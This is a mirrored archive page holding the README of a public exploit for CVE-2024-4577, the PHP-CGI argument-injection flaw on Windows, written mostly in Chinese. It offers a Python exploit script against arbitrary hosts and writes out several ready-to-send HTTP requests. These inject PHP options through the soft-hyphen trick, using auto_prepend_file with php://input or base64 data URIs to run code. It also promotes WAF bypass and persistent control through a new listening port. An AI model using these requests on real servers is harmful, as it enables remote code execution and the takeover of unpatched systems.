Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2024-4577 PoC — Argument Injection in PHP-CGI

Source
Associated Vulnerability
Title: Argument Injection in PHP-CGI (CVE-2024-4577)
Description:In PHP versions 8.1.* before 8.1.29, 8.2.* before 8.2.20, 8.3.* before 8.3.8, when using Apache and PHP-CGI on Windows, if the system is set up to use certain code pages, Windows may use "Best-Fit" behavior to replace characters in command line given to Win32 API functions. PHP CGI module may misinterpret those characters as PHP options, which may allow a malicious user to pass options to PHP binary being run, and thus reveal the source code of scripts, run arbitrary PHP code on the server, etc.
Readme
# CVE-2024-4577-PHP-RCE

## 项目简介与原理

- 全球首款利用PHP默认环境(XAMPP)的CVE-2024-4577 PHP-CGI RCE 漏洞 EXP。
- The world's first CVE-2024-4577 PHP-CGI RCE exploit utilizing the default PHP environment. Sharing original exploit, supports SSRF, supports WAF bypass.
- 实现PHP默认环境RCE。原理:```cgi.force_redirect``` + ```REDIRECT-STATUS```。
- 新增原创EXP,支持绕过WAF场景的打法。原理:建立FastCGI服务端 + FastCGI协议通讯。
- 新增原创EXP,支持SSRF场景的打法。原理:data://协议 + GET请求。

## EXP 1 的优点

- 无需 ```allow_url_include```、```auto_prepend_file```、```auto_append_file``` 即可RCE。可包含任意文件和php文件。
- 不会出现WAF经常拦截的关键词 ```allow_url_include```、```auto_prepend_file```、```auto_append_file```。
- FastCGI服务端的所有通讯不会被WAF记录。
- 监听新端口,因此实现持久化控制php服务端,独立于apache和php。

## 漏洞简介

| 信息 | 内容 |
| --- | --- |
| 漏洞名称 | PHP RCE |
| 漏洞编号 | CVE-2024-4577 |
| 风险等级 | 高危 |
| 漏洞类型 | RCE |
| 利用难度 | 低 |

## 影响版本

- [PHP Windows版](https://www.php.net/) 8.3.0 <= 影响版本 < 8.3.8
- [PHP Windows版](https://www.php.net/) 8.2.0 <= 影响版本 < 8.2.20
- [PHP Windows版](https://www.php.net/) 8.1.0 <= 影响版本 < 8.1.29
- [PHP Windows版](https://www.php.net/) 影响版本 == 8.0.x
- [PHP Windows版](https://www.php.net/) 影响版本 == 7.x 
- [PHP Windows版](https://www.php.net/) 影响版本 == 5.x
- [XAMPP Windows版](https://www.apachefriends.org/) 8.2.0 <= 影响版本 <= 8.2.12
- [XAMPP Windows版](https://www.apachefriends.org/) 8.1.0 <= 影响版本 <= 8.1.25
- [XAMPP Windows版](https://www.apachefriends.org/) 影响版本 == 8.0.x
- [XAMPP Windows版](https://www.apachefriends.org/) 影响版本 == 7.x
- [XAMPP Windows版](https://www.apachefriends.org/) 影响版本 == 5.x

## EXP 1

可用于绕过WAF场景 + 默认场景:
```
python CVE-2024-4577-PHP-RCE.py PhpServerHost:PhpServerPort
```
例如:
```
python CVE-2024-4577-PHP-RCE.py 123.123.123.123:80
```

## EXP 2

可用于SSRF场景 + 默认场景:
```
http://PhpServerHost:PhpServerPort/php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+-d+allow_url_include%3d1+-d+auto_prepend_file%3d"data:XCANWIN/XCANWIN;base64,PD9waHAgZGllKCJUZSIuInNUIik7Pz4g"
```

## EXP 3

可用于默认场景:
```
POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost

<?php die("Te"."sT");?>
```

## EXP 4

可用于默认场景:
```
POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
REDIRECT-STATUS: XCANWIN

<?php die("Te"."sT");?>
```

## 复现

1. 服务端环境:

```
XAMPP Windows版 8.2.12
```

2. 服务端下载并安装 XAMPP:

```
https://zenlayer.dl.sourceforge.net/project/xampp/XAMPP%20Windows/8.2.12/xampp-windows-x64-8.2.12-0-VS16-installer.exe?viasf=1

或者自主去这里挑受影响版本:https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/

```

3. 服务端配置

```
无需任何修改,保持默认配置
```

4. 客户端使用EXP

```
使用上述EXP进行测试
```

5. 验证

```
观察是否返回字符串 "TesT" 或者服务端system.ini文件内容
```
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →